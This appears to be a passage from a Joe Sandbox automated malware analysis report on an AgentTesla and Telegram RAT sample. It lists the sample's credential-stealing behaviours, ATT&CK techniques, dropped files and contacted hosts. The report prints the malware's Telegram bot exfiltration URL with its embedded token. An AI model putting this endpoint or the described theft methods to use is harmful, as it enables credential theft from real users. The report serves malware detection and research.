                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
                Source: Yara matchFile source: 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 6956, type: MEMORYSTR

                Remote Access Functionality

                barindex
                Yara detected Telegram RAT
                Source: Yara matchFile source: 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 3984, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 6956, type: MEMORYSTR
                Yara detected AgentTesla
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.12.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.8.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.6.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.3613f70.5.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35a9930.7.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.3613f70.5.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000F.00000000.337227939.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000000.338699898.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000000.327062889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000002.521016859.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.346406018.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000000.338146222.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 3984, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 6956, type: MEMORYSTR

                Mitre Att&ck Matrix

                Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                Valid Accounts211
                Windows Management Instrumentation                		1
                Scheduled Task/Job                		111
                Process Injection                		11
                Disable or Modify Tools                		2
                OS Credential Dumping                		1
                File and Directory Discovery                		Remote Services11
                Archive Collected Data                		Exfiltration Over Other Network Medium1
                Web Service                		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                Default Accounts1
                Scheduled Task/Job                		Boot or Logon Initialization Scripts1
                Scheduled Task/Job                		1
                Deobfuscate/Decode Files or Information                		11
                Input Capture                		114
                System Information Discovery                		Remote Desktop Protocol2
                Data from Local System                		Exfiltration Over Bluetooth11
                Encrypted Channel                		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)2
                Obfuscated Files or Information                		1
                Credentials in Registry                		1
                Query Registry                		SMB/Windows Admin Shares1
                Email Collection                		Automated Exfiltration2
                Non-Application Layer Protocol                		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)13
                Software Packing                		NTDS311
                Security Software Discovery                		Distributed Component Object Model11
                Input Capture                		Scheduled Transfer3
                Application Layer Protocol                		SIM Card SwapCarrier Billing Fraud
                Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
                Masquerading                		LSA Secrets1
                Process Discovery                		SSH1
                Clipboard Data                		Data Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                Replication Through Removable MediaLaunchdRc.commonRc.common131
                Virtualization/Sandbox Evasion                		Cached Domain Credentials131
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                External Remote ServicesScheduled TaskStartup ItemsStartup Items111
                Process Injection                		DCSync1
                Application Window Discovery                		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem1
                Remote System Discovery                		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 signatures2 2 Behavior Graph ID: 635380 Sample: SecuriteInfo.com.W32.AIDete... Startdate: 27/05/2022 Architecture: WINDOWS Score: 100 29 Found malware configuration 2->29 31 Malicious sample detected (through community Yara rule) 2->31 33 Multi AV Scanner detection for dropped file 2->33 35 7 other signatures 2->35 7 SecuriteInfo.com.W32.AIDetectNet.01.20229.exe 7 2->7         started        process3 file4 23 C:\Users\user\AppData\Roaming\HksvOcmoc.exe, PE32 7->23 dropped 25 C:\Users\user\AppData\Local\...\tmpCB43.tmp, XML 7->25 dropped 37 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 7->37 39 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 7->39 41 Uses schtasks.exe or at.exe to add and modify task schedules 7->41 43 2 other signatures 7->43 11 SecuriteInfo.com.W32.AIDetectNet.01.20229.exe 15 2 7->11         started        15 powershell.exe 25 7->15         started        17 schtasks.exe 1 7->17         started        signatures5 process6 dnsIp7 27 api.telegram.org 149.154.167.220, 443, 49764 TELEGRAMRU United Kingdom 11->27 45 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 11->45 47 Tries to steal Mail credentials (via file / registry access) 11->47 49 Tries to harvest and steal ftp login credentials 11->49 51 2 other signatures 11->51 19 conhost.exe 15->19         started        21 conhost.exe 17->21         started        signatures8 process9

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                ⊘No Antivirus matches

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\Users\user\AppData\Roaming\HksvOcmoc.exe30%ReversingLabsByteCode-MSIL.Trojan.AgentTesla

                Unpacked PE Files

                SourceDetectionScannerLabelLinkDownload
                15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.6.unpack100%AviraTR/Spy.Gen8Download File
                15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpack100%AviraTR/Spy.Gen8Download File
                15.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.0.unpack100%AviraTR/Spy.Gen8Download File
                15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.8.unpack100%AviraTR/Spy.Gen8Download File
                15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.12.unpack100%AviraTR/Spy.Gen8Download File
                15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.4.unpack100%AviraTR/Spy.Gen8Download File

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
                http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www0%URL Reputationsafe
                http://uyaXTK.com0%Avira URL Cloudsafe
                http://www.tiro.com0%URL Reputationsafe
                http://www.goodfont.co.kr0%URL Reputationsafe
                https://VmuKuqO5f5glxfhci.org(t0%Avira URL Cloudsafe
                http://www.carterandcone.coml0%URL Reputationsafe
                http://www.sajatypeworks.com0%URL Reputationsafe
                http://www.typography.netD0%URL Reputationsafe
                http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                http://fontfabrik.com0%URL Reputationsafe
                http://www.founder.com.cn/cn0%URL Reputationsafe
                https://api.telegram.org40%URL Reputationsafe
                http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
                http://DynDns.comDynDNSnamejidpasswordPsi/Psi0%URL Reputationsafe
                http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                http://www.sandoll.co.kr0%URL Reputationsafe
                http://www.urwpp.deDPlease0%URL Reputationsafe
                http://www.zhongyicts.com.cn0%URL Reputationsafe
                http://www.sakkal.com0%URL Reputationsafe
                https://VmuKuqO5f5glxfhci.org0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                api.telegram.org
                		149.154.167.220
                		truefalse
                  		high

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendDocumentfalse
                    		high

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://127.0.0.1:HTTP/1.1SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		low
                    http://www.apache.org/licenses/LICENSE-2.0SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      http://www.fontbureau.comSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        http://www.fontbureau.com/designersGSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://www.fontbureau.com/designers/?SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://www.founder.com.cn/cn/bTheSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            https://api.telegram.orgSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528098222.00000000032CF000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://www.fontbureau.com/designers?SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://wwwSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://uyaXTK.comSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.tiro.comSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.fontbureau.com/designersSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://www.goodfont.co.krSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  https://VmuKuqO5f5glxfhci.org(tSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		low
                                  https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.346406018.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000000.337227939.0000000000402000.00000040.00000400.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000000.327062889.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.carterandcone.comlSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.sajatypeworks.comSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.typography.netDSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.fontbureau.com/designers/cabarga.htmlNSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.founder.com.cn/cn/cTheSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.galapagosdesign.com/staff/dennis.htmSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://fontfabrik.comSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.founder.com.cn/cnSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://api.telegram.org4SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528098222.00000000032CF000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.fontbureau.com/designers/frere-user.htmlSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://api.telegram.org/bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendDocumentdocument-----SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://www.jiyu-kobo.co.jp/SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://DynDns.comDynDNSnamejidpasswordPsi/PsiSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.galapagosdesign.com/DPleaseSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://www.fontbureau.com/designers8SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.fonts.comSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.sandoll.co.krSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.urwpp.deDPleaseSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://www.zhongyicts.com.cnSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://api.telegram.orgSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528150791.00000000032E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.346224005.0000000002864000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528098222.00000000032CF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.sakkal.comSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.351048067.0000000006902000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://VmuKuqO5f5glxfhci.orgSecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.528068312.00000000032C9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000003.379771521.0000000000BF4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.527999593.0000000003281000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown

                                                  World Map of Contacted IPs

                                                  • No. of IPs < 25%
                                                  • 25% < No. of IPs < 50%
                                                  • 50% < No. of IPs < 75%
                                                  • 75% < No. of IPs

                                                  Public IPs

                                                  IPDomainCountryFlagASNASN NameMalicious
                                                  149.154.167.220
                                                  		api.telegram.orgUnited Kingdom
                                                  		62041TELEGRAMRUfalse

                                                  General Information

                                                  Joe Sandbox Version:34.0.0 Boulder Opal
                                                  Analysis ID:635380
                                                  Start date and time: 27/05/202220:48:282022-05-27 20:48:28 +02:00
                                                  Joe Sandbox Product:CloudBasic
                                                  Overall analysis duration:0h 10m 13s
                                                  Hypervisor based Inspection enabled:false
                                                  Report type:light
                                                  Sample file name:SecuriteInfo.com.W32.AIDetectNet.01.20229.6203 (renamed file extension from 6203 to exe)
                                                  Cookbook file name:default.jbs
                                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                  Number of analysed new started processes analysed:27
                                                  Number of new started drivers analysed:0
                                                  Number of existing processes analysed:0
                                                  Number of existing drivers analysed:0
                                                  Number of injected processes analysed:0
                                                  Technologies:
                                                  • HCA enabled
                                                  • EGA enabled
                                                  • HDC enabled
                                                  • AMSI enabled
                                                  Analysis Mode:default
                                                  Analysis stop reason:Timeout
                                                  Detection:MAL
                                                  Classification:mal100.troj.spyw.evad.winEXE@9/9@1/1
                                                  EGA Information:
                                                  • Successful, ratio: 100%
                                                  HDC Information:
                                                  • Successful, ratio: 1.3% (good quality ratio 1.1%)
                                                  • Quality average: 61.7%
                                                  • Quality standard deviation: 37.3%
                                                  HCA Information:
                                                  • Successful, ratio: 89%
                                                  • Number of executed functions: 0
                                                  • Number of non-executed functions: 0
                                                  Cookbook Comments:
                                                  • Adjust boot time
                                                  • Enable AMSI

                                                  Warnings

                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
                                                  • Excluded domains from analysis (whitelisted): fs.microsoft.com, store-images.s-microsoft.com, login.live.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
                                                  • Not all processes where analyzed, report is missing behavior information
                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                  • VT rate limit hit for: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe

                                                  Simulations

                                                  Behavior and APIs

                                                  TimeTypeDescription
                                                  20:50:03API Interceptor494x Sleep call for process: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe modified
                                                  20:50:12API Interceptor29x Sleep call for process: powershell.exe modified

                                                  Joe Sandbox View / Context

                                                  IPs

                                                  ⊘No context

                                                  Domains

                                                  ⊘No context

                                                  ASNs

                                                  ⊘No context

                                                  JA3 Fingerprints

                                                  ⊘No context

                                                  Dropped Files

                                                  ⊘No context

                                                  Created / dropped Files

                                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.log

                                                  Download File
                                                  Process:C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                                                  File Type:ASCII text, with CRLF line terminators
                                                  Category:modified
                                                  Size (bytes):1308
                                                  Entropy (8bit):5.345811588615766
                                                  Encrypted:false
                                                  SSDEEP:24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84FsXE8:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzu
                                                  MD5:2E016B886BDB8389D2DD0867BE55F87B
                                                  SHA1:25D28EF2ACBB41764571E06E11BF4C05DD0E2F8B
                                                  SHA-256:1D037CF00A8849E6866603297F85D3DABE09535E72EDD2636FB7D0F6C7DA3427
                                                  SHA-512:C100729153954328AA2A77EECB2A3CBD03CB7E8E23D736000F890B17AAA50BA87745E30FB9E2B0D61E16DCA45694C79B4CE09B9F4475220BEB38CAEA546CFC2A
                                                  Malicious:false
                                                  Reputation:high, very likely benign file
                                                  Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:data
                                                  Category:dropped
                                                  Size (bytes):14734
                                                  Entropy (8bit):4.996142136926143
                                                  Encrypted:false
                                                  SSDEEP:384:wt8OdB+Fiib4YNXp5dGxopbjvwRjdvRzJYociQ0HzAF8:w8OdB+FhNZT4opbjoRjdvRzJYocinHzr
                                                  MD5:8BFB5BDCC39FDA027B2D719367EBD70C
                                                  SHA1:C64E6B36FF61E6747F50645728D8F6DA280BC717
                                                  SHA-256:7EEAF90224B2598135FD21AA368D136E33E98B9E40CCB22D60D3B9D22E7A91EA
                                                  SHA-512:C367B45F7DCD8A65BF047C4D8FC9C5CB2E36E5FB196866F4753210EEAF2B8D284CCC817A8A4DC0D44E81DF346487379D745049F4B17FF30DCE8AB7CBC59337C2
                                                  Malicious:false
                                                  Reputation:moderate, very likely benign file
                                                  Preview:PSMODULECACHE.......`.....Q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitsTransfer\BitsTransfer.psd1........Start-BitsTransfer........Set-BitsTransfer........Get-BitsTransfer........Resume-BitsTransfer........Add-BitsFile........Suspend-BitsTransfer........Complete-BitsTransfer........Remove-BitsTransfer........-vF.....[...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\AppBackgroundTask\AppBackgroundTask.psd1....#...Set-AppBackgroundTaskResourcePolicy........Unregister-AppBackgroundTask........Get-AppBackgroundTask........tid........pfn........iru....%...Enable-AppBackgroundTaskDiagnosticLog........Start-AppBackgroundTask....&...Disable-AppBackgroundTaskDiagnosticLog................a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Unregister-PackageSource........Save-Package........Install-PackageProvider........Find-PackageProvider........Install-Package........Get-PackageProvider........Get-Package........Unins

                                                  C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:data
                                                  Category:dropped
                                                  Size (bytes):22252
                                                  Entropy (8bit):5.600930086358679
                                                  Encrypted:false
                                                  SSDEEP:384:atCDY06fVPfsKpZLpK3kSBKnIjultIE47nvfg3hInkML+KfmAV7SJWd+MZQvnI+K:ZKpZLqk4KICltXE66vKOp2K+Q
                                                  MD5:1414AAEC05F804A0D34793A833F82FC1
                                                  SHA1:F2274FA4AC682F9936EED33FAC8A9EE3B841D266
                                                  SHA-256:33A11C07F096E822399D6FC7B2898417FB253F6FFDAFD77F3E8FC1F75D3B4902
                                                  SHA-512:C393C1767BFF91B30A3570CE900BD2B38AC818A29E6EAC9E85A8513F0599681591C07383F7FDFD843D443365A8536F123D851D4D33E6363612D040ED41125B17
                                                  Malicious:false
                                                  Reputation:low
                                                  Preview:@...e...........t.......K...9.2./....................@..........H...............<@.^.L."My...:W..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

